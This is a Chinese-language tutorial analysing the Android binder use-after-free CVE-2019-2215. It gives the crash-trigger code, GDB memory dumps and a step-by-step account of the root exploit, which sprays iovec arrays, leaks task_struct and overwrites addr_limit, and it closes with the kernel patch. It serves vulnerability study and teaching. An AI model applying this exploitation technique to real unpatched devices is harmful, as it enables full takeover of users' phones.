触发与分析 Android 内核漏洞 CVE-2019-2215
2017 年 11 月,syzkaller 系统检测到 Linux 内核 的一个 use-after-free 漏洞。2018 年 2 月,一些 Linux 内核和 Android 版本中修补了此漏洞。
此修复从未包含在 Android 月度安全公告 中,因此许多新发布的设备(如 Pixel 和 Pixel2)并未修补此漏洞。
2019 年 9 月,Project Zero 向 Android 通报了此漏洞的安全影响。随后,Android 为此漏洞分配了 CVE-2019-2215,使其更为正式和公开。
CVE-2019-2215 是 binder.c 中的一个 use-after-free 漏洞,它允许从 Android 应用程序进行权限提升(获取 root 访问权限)。利用此漏洞无需用户交互。只需安装一个恶意的本地应用程序即可。
接下来,我们将更详细地介绍这个 Android 内核漏洞,并利用该漏洞获取整个 Android 设备的 root 访问权限(权限提升)。
我们将使用以下概念验证(PoC):
https://github.com/cloudfuzz/android-kernel-exploitation
我们首先会向你展示一种在 Android 模拟器上触发此漏洞并导致内核崩溃的方法。然后,为了了解它的危险性,我们继续使用 PoC 在模拟的 Android 设备中获取 root 访问权限。随后,我们将分析内核代码,找出其中的原因(静态分析和动态分析)。
分析之后,我们将看到我们是如何获得 root 访问权限的。最后,我们将了解如何通过补丁缓解此漏洞。
要通过触发此漏洞使内核崩溃,我们使用以下步骤:
观看以下视频:
[视频]
在本节(以及下一节)中,我们将通过静态和动态分析来理解崩溃发生的原因。
在这里,我们将分析内核代码(静态分析)以理解该问题。在 crash_report.txt 中,有来自 KASan 的报告,指出这是一个 use-after-free 漏洞。这意味着一个对象在堆中被分配(并且我们有一个指向它的引用),然后我们从堆中释放了该对象,之后我们又错误地通过一个引用调用了它。该报告中打印了这三个阶段的堆栈跟踪。
如果你还记得上面的内容,我们在 PoC 中使用了 'trigger.cpp'。
以下是 trigger.cpp 的主要代码:``` int main() { //1 int fd, epfd; //2 struct epoll_event event = {.events = EPOLLIN}; //3 fd = open("/dev/binder", O_RDONLY); //4 epfd = epoll_create(1000); //5 epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); //6 ioctl(fd, BINDER_THREAD_EXIT, NULL); }
我们来看看 `trigger.cpp` 在做什么。
在 Android 中(与其他基于 Unix 的操作系统一样),我们有一些进程。我们运行的每个程序都会创建一个(或多个)进程,这些进程由操作系统(OS)管理。操作系统可以在它们之间切换(多任务处理),或者终止某个进程等。出于安全原因,进程默认彼此隔离。
在某些情况下,一个进程可能需要与另一个进程交换数据。这称为进程间通信(IPC)。在 Linux 中有多种方式可以让进程通信。Android 引入了一种名为 **'Binder'** 的特定 IPC 机制。Binder 是一个用于促进进程间通信的内核驱动程序。
在 Android 中,IPC 可以通过直接调用一些内核方法(其中大部分位于 drivers/binder.c)或使用高级实现(例如 Java)来完成。

为了使用 **binder**,我们应该打开内核的 binder 模块。这通过 trigger.cpp 的第 3 行完成。然后我们会得到一个文件描述符指针,通过这个 fd,可以识别 IPC 的内核发起方和接收方。
与驱动器的所有交互都将通过一小组 **'ioctl'** 命令(BINDER_THREAD_EXIT、BINDER_WRITE_READ 等)进行。
关于 binder 的更多信息:[link1](https://www.nds.ruhr-uni-bochum.de/media/attachments/files/2012/03/binder.pdf)、[link2](http://rts.lab.asu.edu/web_438/project_final/CSE_598_Android_Architecture_Binder.pdf)
在 Linux 中,我们有一个称为 '**event polling**' 的概念。当我们想要监视多个文件描述符(当我们打开驱动程序或处理 IO 等时,得到的就是文件描述符)时,会使用 '**epoll**' API。
**epoll** 是一个内核结构体,它有两个重要字段。
* interest list = 我们想要监视的文件描述符列表。
* ready list = 准备好进行 I/O 的文件描述符列表。
为了使用事件轮询,我们首先创建一个 epoll(第 4 行),然后通过调用内核的 **epoll_ctl** 方法,将一个与文件描述符(**fd**)相关联的事件(&event)添加或删除(EPOLL_CTL_ADD)到我们创建的 epoll(**epfd**)中。
=> `epoll_event event` 是一个事件,当关联的文件(fd)可用于读取操作时触发。
现在我们理解了 **trigger.cpp** 在做什么(不需要深入研究!)。它打开 **binder** 模块,创建一个 **epoll** 来在它准备好时监听它。然后在第 6 行,我们退出了从第 3 行开始的 binder。
#### 分配(Allocate):
通过调用 open(),我们实际上调用了 **open_binder()**(binder.c 中 open() 的实现),在 open_binder() 中,会创建一个新的 **'binder_proc'** 结构体,并且:
` fd->pricate_data = binder_proc`
通过调用 **epoll_create()**,会创建一个新的 epoll 结构体并添加到队列结构中。

通过调用 **epoll_ctrl(epdf, ADD, fd, event)**,会创建一个新的 **ep_item**,将 **fd**(要监听的描述符)关联到这个 **ep_item**,并将其插入到 event_poll 的 **红黑树**(epoll 中用于保存 ep_item 的数据结构)中。它还会调用 **ep_item_poll()**,该方法处理回调函数与 ep_item 的关联。
它会创建一个新的 **binder_thread** 结构体(**分配发生在这里**),将其链接到(上面创建的)**binder_proc**,然后创建一个 **epoll_entry** 结构体,它有两个链表,**epoll_entry->wait** 和 **epoll_entry->whead**,这两个链表都有一个指向之前创建的 **binder_thread** 的指针。
然后 **epoll_entry** 被链接到 ep_item(**ep_item->pwqlist** 是一个包含该 epoll_entry 的链表)。

#### 释放(Free):
通过调用 **ioctl(fd, ...)**,通过 fd->private_data 访问 binder_proc,然后 **binder_thread** 结构体会从内存中被**释放**。
#### 使用(Use):
当当前进程退出时,将会调用 **epoll_ctl(epfd, DEL, fd, event)**。
它会调用 **ep_remove(event_poll, ep_item)**。该方法从 **ep_item->pwqlist** 中获取 **epoll_entry**,然后获取 ep_item 的等待列表(**ep_tem->wait**),它是一个链表,它想要移除这个等待列表中的某一项。
它使用以下代码(使用伪代码):```
entry = wait->entry;
entry.next.prev = entry.prev;
entry.prev.next = entry.next;
这里 wait->entry 是指向 已从内存中移除的 binder_thread! 的指针。所以这是一个释放后使用(use-after-free)问题,会导致 bug!!
我们创建了一个 event_poll,它包含一棵 红黑树(red_black_tree),每个节点是一个 ep_item,它有一个字段是 epoll_entry 列表,每个 epoll_entry 有两个指向 binder_thread 结构体的指针 (wait, whead).
通过调用 ioctl(),我们从内存中释放了 binder_thread,然后在退出时,这个结构体通过一个仍然可用的指针被访问了!
动态分析是通过实时执行数据来测试和评估程序;以在程序运行时发现错误。
步骤:
构建不带 KASan 的 Android 内核
使用新构建的内核启动模拟器
启动模拟器
构建漏洞触发器并将其推送到虚拟设备
在 GDB 中设置断点
加载自定义 python 脚本(仓库中的 dynamic-analysis.py): 用于跟踪函数调用,并在 binder_thread 被释放前后转储其结构体内存块。还要在 unlink 操作前后转储相同的 binder_thread 结构体。
在此文件中,我们首先删除所有断点,然后设置 2 个断点(BP);第一个符号是“binder_free_thread”(将跟踪 binder_free_thread 函数);在 binder_thread 被释放之前,会调用 stop 函数;因此参数和符号将通过(gb.write(....))显示,然后会调用回调方法(我们将其设置为 set_dump_binder_thread );在此函数中,binder_thread_address 将被设置到我们的全局变量中,gdb.execute 会将命令产生的任何输出发送到 GDB 的标准输出。
第二个符号是“remove_wait_queue”(将跟踪 remove_wait_queue 函数),我们要观察的参数是 "wq_head"、"wq_entry",并且会在退出时设置 wait.c:52 断点。它们的回调函数是 dump_binder_thread 。这些断点将显示 unlink 操作前后发生的情况。
启动 adb shell 并运行触发 PoC
结果:
binder_free_thread(thread=0xffff88800c18f200)(enter) 0xffff88800c18f200: 0xffff88806793c000 0x0000000000000001 0xffff88800c18f210: 0x0000000000000000 0x0000000000000000 0xffff88800c18f220: 0xffff88800c18f220 0xffff88800c18f220 0xffff88800c18f230: 0x0000002000001b35 0x0000000000000001 0xffff88800c18f240: 0x0000000000000000 0xffff88800c18f248 0xffff88800c18f250: 0xffff88800c18f248 0x0000000000000000 0xffff88800c18f260: 0x0000000000000000 0x0000000000000000 0xffff88800c18f270: 0x0000000000000003 0x0000000000007201 0xffff88800c18f280: 0x0000000000000000 0x0000000000000000 0xffff88800c18f290: 0x0000000000000003 0x0000000000007201 0xffff88800c18f2a0: 0x0000000000000000 0xffff88805c05cae0 0xffff88800c18f2b0: 0xffff88805c05cae0 0x0000000000000000 0xffff88800c18f2c0: 0x0000000000000000 0x0000000000000000 0xffff88800c18f2d0: 0x0000000000000000 0x0000000000000000 0xffff88800c18f2e0: 0x0000000000000000 0x0000000000000000 0xffff88800c18f2f0: 0x0000000000000000 0x0000000000000000 0xffff88800c18f300: 0x0000000000000000 0x0000000000000000 0xffff88800c18f310: 0x0000000000000000 0x0000000000000000 0xffff88800c18f320: 0x0000000000000000 0x0000000000000000 0xffff88800c18f330: 0x0000000000000000 0x0000000000000000 0xffff88800c18f340: 0x0000000000000000 0x0000000000000000 0xffff88800c18f350: 0x0000000000000000 0x0000000000000000 0xffff88800c18f360: 0x0000000000000000 0x0000000000000000 0xffff88800c18f370: 0x0000000000000000 0x0000000000000000 0xffff88800c18f380: 0x0000000000000000 0x0000000000000001 0xffff88800c18f390: 0xffff88806d4bb200
在我们的 python 代码中,有以下代码:``` gdb.write ( "{function}({param})(enter)\n".format( function=self.function_name, param=params ) )
并且它是 binder_free_thread 函数,因此该函数的参数是指向 binder_thread 的指针:```
static void binder_free_thread(struct binder_thread *thread)
{
[...]
kfree(thread);
}
在结果中,我们有(binder_free_thread(thread=0xffff88800c18f200)(enter))。
后面的行显示了执行结果,通过下面的命令我们可以获得 binder_thread.wait 的偏移量:``` p offsetof(struct binder_thread, wait)
结果是 0xa0,如果在命令中用 wait.head 代替 wait,结果将是 0xa8,并且它包含 `0xffff88805c05cae0````
0xffff88805c05cae0 is pointer to eppoll_entry->wait.entry which is of type struct list_head
remove_wait_queue(wq_head=0xffff88800c18f2a0, wq_entry=0xffff88805c05cac8)(enter) 0xffff88800c18f200: 0xffff88800c18f600 0x0000000000000001 0xffff88800c18f210: 0x0000000000000000 0x0000000000000000 0xffff88800c18f220: 0xffff88800c18f220 0xffff88800c18f220 0xffff88800c18f230: 0x0000002000001b35 0x0000000000000001 0xffff88800c18f240: 0x0000000000000000 0xffff88800c18f248 0xffff88800c18f250: 0xffff88800c18f248 0x0000000000000000 0xffff88800c18f260: 0x0000000000000000 0x0000000000000000 0xffff88800c18f270: 0x0000000000000003 0x0000000000007201 0xffff88800c18f280: 0x0000000000000000 0x0000000000000000 0xffff88800c18f290: 0x0000000000000003 0x0000000000007201 0xffff88800c18f2a0: 0x0000000000000000 0xffff88805c05cae0 0xffff88800c18f2b0: 0xffff88805c05cae0 0x0000000000000000 0xffff88800c18f2c0: 0x0000000000000000 0x0000000000000000 0xffff88800c18f2d0: 0x0000000000000000 0x0000000000000000 0xffff88800c18f2e0: 0x0000000000000000 0x0000000000000000 0xffff88800c18f2f0: 0x0000000000000000 0x0000000000000000 0xffff88800c18f300: 0x0000000000000000 0x0000000000000000 0xffff88800c18f310: 0x0000000000000000 0x0000000000000000 0xffff88800c18f320: 0x0000000000000000 0x0000000000000000 0xffff88800c18f330: 0x0000000000000000 0x0000000000000000 0xffff88800c18f340: 0x0000000000000000 0x0000000000000000 0xffff88800c18f350: 0x0000000000000000 0x0000000000000000 0xffff88800c18f360: 0x0000000000000000 0x0000000000000000 0xffff88800c18f370: 0x0000000000000000 0x0000000000000000 0xffff88800c18f380: 0x0000000000000000 0x0000000000000001 0xffff88800c18f390: 0xffff88806d4bb200
在 remove_wait_queue(wq_head=0xffff88800c18f2a0, wq_entry=0xffff88805c05cac8)(enter) 中,wq_head 是 binder_thread.wait 的地址,wq_entry 是 wait.head 的数据。
在此之后将发生 unlink 操作。
Breakpoint 3 at 0xffffffff802aa5be: file /home/ashfaq/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 53. remove_wait_queue_wait.c:52(exit) 0xffff88800c18f200: 0xffff88800c18f600 0x0000000000000001 0xffff88800c18f210: 0x0000000000000000 0x0000000000000000 0xffff88800c18f220: 0xffff88800c18f220 0xffff88800c18f220 0xffff88800c18f230: 0x0000002000001b35 0x0000000000000001 0xffff88800c18f240: 0x0000000000000000 0xffff88800c18f248 0xffff88800c18f250: 0xffff88800c18f248 0x0000000000000000 0xffff88800c18f260: 0x0000000000000000 0x0000000000000000 0xffff88800c18f270: 0x0000000000000003 0x0000000000007201 0xffff88800c18f280: 0x0000000000000000 0x0000000000000000 0xffff88800c18f290: 0x0000000000000003 0x0000000000007201 0xffff88800c18f2a0: 0x0000000000000000 0xffff88800c18f2a8 0xffff88800c18f2b0: 0xffff88800c18f2a8 0x0000000000000000 0xffff88800c18f2c0: 0x0000000000000000 0x0000000000000000 0xffff88800c18f2d0: 0x0000000000000000 0x0000000000000000 0xffff88800c18f2e0: 0x0000000000000000 0x0000000000000000 0xffff88800c18f2f0: 0x0000000000000000 0x0000000000000000 0xffff88800c18f300: 0x0000000000000000 0x0000000000000000 0xffff88800c18f310: 0x0000000000000000 0x0000000000000000 0xffff88800c18f320: 0x0000000000000000 0x0000000000000000 0xffff88800c18f330: 0x0000000000000000 0x0000000000000000 0xffff88800c18f340: 0x0000000000000000 0x0000000000000000 0xffff88800c18f350: 0x0000000000000000 0x0000000000000000 0xffff88800c18f360: 0x0000000000000000 0x0000000000000000 0xffff88800c18f370: 0x0000000000000000 0x0000000000000000 0xffff88800c18f380: 0x0000000000000000 0x0000000000000001 0xffff88800c18f390: 0xffff88806d4bb200
高亮部分是由 此 引起的。该结果是在 unlink 操作之后得到的,我们可以看到,unlink 会将地址(0xffff88800c18f2a0 + 0x8)写入 next 和 previous。
也就是说:
(指向 binder_thread->wait.head) = binder_thread->wait.head.next = `binder_thread->wait.head.prev
在本部分中,我们将展示如何利用这个 bug 来获得 root 权限。
回顾上文,我们有一个 binder_thread 结构体,它曾被 释放,然后又通过一个指针被 再次使用。以下是 binder_thread 结构体的代码:``` struct binder_thread { struct binder_proc proc; struct rb_node rb_node; struct list_head waiting_thread_node; int pid; int looper; / only modified by this thread*/ bool looper_need_return; /* can be written by other thread*/ struct binder_transaction *transaction_stack; struct list_head todo; bool process_todo; struct binder_error return_error; struct binder_error reply_error; wait_queue_head_t wait; struct binder_stats stats; atomic_t tmp_ref; bool is_dead; struct task_struct *task; };
其中一个字段是指针 **task_struct**,该结构体有一个名为 **addr_limit** 的字段。
当我们要访问进程中的某个地址时,会检查该地址是否位于**用户空间**内,如果它位于**内核空间**,则此次访问应被阻止。该检查通过将我们的地址与 **addr_limit** 进行比较来实现,如果我们的地址小于 **addr_limit**,则访问有效。
**addr_limit** 实际上将用户空间与内核空间分隔开,因此通过更改 **task_struct** 中的这个字段,我们就可以完全访问内核空间,从而可以做任何事情!
这里我们有两个利用步骤:
1. 在内核空间中找到 task_struct 的地址
2. 更改 task_struct 中的 addr_limit
#### 寻找 task_struct 的地址
在内核中,我们可以执行向量化 I/O,这意味着我们可以向文件描述符(文件、套接字等)写入或读取多个数据块。
向量化 I/O 通过使用 **writev**、**readv**、**recvmsg** 方法以及 **iovec** 结构体来完成。```
struct iovec
{
void __user *iov_base; /* BSD uses caddr_t (1003.1g requires void *) */ \
__kernel_size_t iov_len; /* Must be size_t (1003.1g) */ \
};
通过使用向量化 I/O,我们对一组缓冲区(iovec)执行 I/O 操作。每个 iovec 都有一个指向缓冲区的指针(iov_base)以及缓冲区的大小(iov_len)。
例如,如果我们要将一组缓冲区写入文件(fd),我们可以调用
writev(fd, iovecStack, count)
该方法(与 readv 和 recvmsg 类似)首先将 iovec 数组(iovecStack)复制到内核空间,然后从这些缓冲区读取数据并写入 fd。
我们可以使用 pipe 来写入和读取缓冲区,pipe 是一个结构体,它为我们提供两个文件描述符,一个用于读取,一个用于写入。pipe 有一个以字节为单位的长度,当一个进程向 pipe 写入超过其长度的数据时,pipe 会阻塞该进程,并等待另一个进程从该 pipe 中读取数据(使用该 pipe 的读取文件描述符)。
内核会尝试根据结构体的大小为其分配内存。例如,当我们从内存中释放 binder_thread 结构体时(参见静态分析),如果之后有一个大小与 binder_thread 相似的结构体,它有很大机会被分配到与已释放的 binder_thread 相同的位置。
首先,我们创建一个大小与 binder_thread 结构体相似的 iovecStack(iovec 结构体数组)。
然后我们从内存中释放 binder_thread(参见静态分析的“释放”部分)
然后我们对这个 iovecStack 调用 writev()。该方法的第一个部分将 iovecStack 复制到内核空间,
我们的 iovecStack 更有可能被分配到与已释放的 binder_thread 相同的位置。
如果 iovecStack 中有足够的 iovec,那么 binder_thread 位置处的内存看起来像这样:

可以看到,iovecStack[10].iov_base、iovecStack[10].iov_len 和 iovecStack[11].iov_base 将与 binder_thread 的 wait.lock、wait.head.next 和 wait.head.prev 字段位于相同位置。
在静态分析的**‘利用’部分中,我们看到崩溃是因为在解除链接**过程(从链表中移除一个元素)中访问了 binder_thread 的 wait 部分而发生的。
在解除链接过程中,wait.head 被解除链接,它的 next 和 prev 字段将指向 binder_thread 的 wait 字段(解除链接)。

在 writev 的第二部分(从 iovec 写入文件)发生之前,如果我们运行解除链接过程,iovecStack[10].iov_len 和 iovecStack[11].iov_base 将被一个内核地址覆盖。然后在运行 writev 的其余部分时,当它要处理 iovecStack[11] 时,它会从 iovecStack[11].iov_base(= binder_thread 中 wait 的地址)读取长度为 iovecStack[11].iov_len 的数据。
如果 iovecStack[11].iov_len 足够大,我们就能从 binder_thread 的 wait 字段一直读取到 task_struct 字段,这样我们就能获得 task_struct 指针。
因此,为了获取 task_struct 指针,我们执行以下步骤:
参见仓库中的 exploit.cpp。
现在我们有了内核空间中 task_struct 的地址(task_ptr)。
这里我们使用 socket_pair 而不是 pipe。我们使用 recvmsg() 从 socket 读取数据并写入 iovec。
步骤:
写入之后,**recvmsg**() 开始从套接字读取数据并写入 **iovecStack**。由于垃圾数据的存在,它已经写到了 **iovecStack**[10]。
因此它开始在 **iovecStack**[12] 处写入 **finalSocketData**,从 **iovecStack[12].iov_base** 获取地址,由于 unlink 操作,该地址正是 **wait in binder_thread** 的地址,**iovecStack[12].iov_len** 被设置为 4 字节,因此写入:
* 将 0x1 写入 iovecStack[10].iov_len
* 将 0x41414141 写入 iovecStack[11].iov_base
* 将 0x8 + 0x8 + 0x8 + 0x8 写入 iovecStack[11].iov_len
* 将 **pointer_to_addr_limit** 写入 iovecStack[12].iov_base
现在 **iovecStack[11]** 中已写入了 4 字节,所以 **recvmsg**() 转到 **iovecStack[12]** 写入 **finalSocketData** 的剩余部分:
将 **0xFFFFFFFFFFFFFFFE** 写入 **iovecStack[12].iov_base** 所指向的地址,该地址被设置为 **pointer_to_addr_limit**,这意味着 recvmsg() 将 addr_limit 改为 0xFFFFFFFFFFFFFFFE(而不是 0xFFFFFFFFFFFFFFFF,因为 arm64 存在一些问题)。
现在用户空间几乎扩展到全部内核空间!(并且可以做任何事!!)
# 补丁
binder_poll() 传递 thread->wait 等待队列,该队列可用于睡眠等待工作。当使用 epoll 的线程通过 BINDER_THREAD_EXIT 显式退出时,等待队列会被释放,但该等待队列<span style="text-decoration:underline;">从未从对应的 epoll 数据结构中移除</span>。当进程随后退出时,epoll 清理代码会尝试访问该等待列表,从而导致 use-after-free(释放后使用)。
通过在线程退出时使用 POLLFREE 来防止此问题。
我们有以下代码:```
static int binder_thread_release(struct binder_proc *proc, struct binder_thread *thread)
{
.
.
.
int active_transactions = 0;
.
.
.
binder_thread_dec_tmpref(thread);
return active_transactions;
}
这些代码行已添加到源代码中:
static int binder_thread_release(struct binder_proc *proc,
binder_thread *thread)
{
.
.
.
/*
* If this thread used poll, make sure we remove the waitqueue
* from any epoll data structures holding it with POLLFREE.
* waitqueue_active() is safe to use here because we're holding
* the inner lock.
*/
if ((thread->looper & BINDER_LOOPER_STATE_POLL) && waitqueue_active(&thread->wait)) {
wake_up_poll(&thread->wait, EPOLLHUP | POLLFREE);
}
binder_inner_proc_unlock(thread->proc);
/*
* This is needed to avoid races between wake_up_poll() above and
* and ep_remove_waitqueue() called for other reasons (eg the epoll file
* descriptor being closed); ep_remove_waitqueue() holds an RCU read
* lock, so we can be sure it's done after calling synchronize_rcu().
*/
if (thread->looper & BINDER_LOOPER_STATE_POLL)
synchronize_rcu();
.
.
.
}
完整代码见此处
操作系统是一层软件,它负责让所有硬件更高效地工作,并构建一个基础设施,使你使用的应用程序能够在其上运行,其核心是内核。
漏洞利用背后的想法很简单:软件存在缺陷,缺陷会使软件行为异常,或错误地执行它本应正确执行的任务;利用缺陷意味着将这种异常行为转化为攻击者的优势。可利用的缺陷被称为漏洞。
特权用户或进程是指对设备拥有完全访问权限的用户或进程。
大多数指令集架构至少提供两种执行模式:
特权:所有机器级指令都可访问。
非特权:仅可访问指令的子集。
释放后使用(Use-After-Free)漏洞是一种内存损坏缺陷,可被黑客利用来执行任意代码。
Use-After-Free 特指在内存被释放后尝试访问该内存,这可能导致程序崩溃,或者在 Use-After-Free 缺陷的情况下,可能造成任意代码执行,甚至实现完整的远程代码执行能力。
是 Android 内核中 Binder 的一个释放后使用漏洞。该缺陷是一个本地权限提升漏洞,可导致易受攻击的设备被完全攻破。如果与浏览器渲染器漏洞链式利用,该缺陷可以通过恶意网站完全攻破设备。它可以从 Chrome 沙箱内部触达。
注意:它适用于 Pixel 1 和 Pixel 2,但不适用于 Pixel 3 和 Pixel 3a。参见此攻击。
Android 安全公告是由 Google 每月发布的一份列表。该列表包含已修复的影响 Android 框架、Linux 内核等的安全漏洞。
Syzkaller 是一个内核模糊测试器。模糊测试(Fuzzing)是一种测试技术,自动化程序为目标程序生成半随机输入,以检查是否触发任何缺陷。模糊测试在发现 C 或 C++ 程序中的内存损坏缺陷方面尤其有用。
Project Zero 是谷歌雇佣的一支安全分析师团队,其任务是寻找零日漏洞。零日漏洞是指那些本应修复它的人却尚未知晓的漏洞。
GDB 是 GNU 项目调试器(GNU Project Debugger)的缩写,是 UNIX 系统上调试 C 和 C++ 程序最流行的调试器。GDB 允许你将程序运行到某一点,然后停下来并打印该点某些变量的值,或者逐行单步执行程序,并在执行完每一行后打印每个变量的值。
你可以将 Android 模拟器与 gdbserver 连接起来进行调试。
内核地址消毒器(KASAN)是一种动态内存错误检测器,旨在发现越界和释放后使用缺陷。KASAN 使用编译时插桩,在每次内存访问前插入有效性检查,因此需要支持该功能的编译器版本。内核内存访问可以与影子映射(shadow map)进行比对,以检查其有效性。
QEMU(快速模拟器)是一个免费开源模拟器,可执行硬件虚拟化。Android 模拟器是 QEMU 模拟器的下游项目;它增加了启动 Android 设备的支持,模拟典型的 Android 硬件(OpenGL、GPS、GSM、传感器)和 GUI 界面。Android 模拟器以多种方式扩展了 QEMU。
在静态分析中,我们使用程序的源代码来查找缺陷或任何问题。我们不会运行该程序。
在动态分析中,我们分析程序运行时的行为。例如,通过提供特殊输入。
Android NDK 是一个工具集,可让你在 Android 设备上运行 C 和 C++ 等原生代码。
Android goldfish 内核用于在 Android 模拟器中运行内核代码。可以克隆并修改它,然后构建以在模拟器中使用。
ADB 是一个命令行工具。它有助于与正在运行的 Android 设备通信并从中获取 shell。它可以用于调试目的。
https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
https://nvd.nist.gov/vuln/detail/CVE-2019-2215
https://www.tutorialspoint.com/gnu_debugger
https://www.kernel.org/doc/html/latest/dev-tools/kasan.html
https://android.googlesource.com/kernel/goldfish/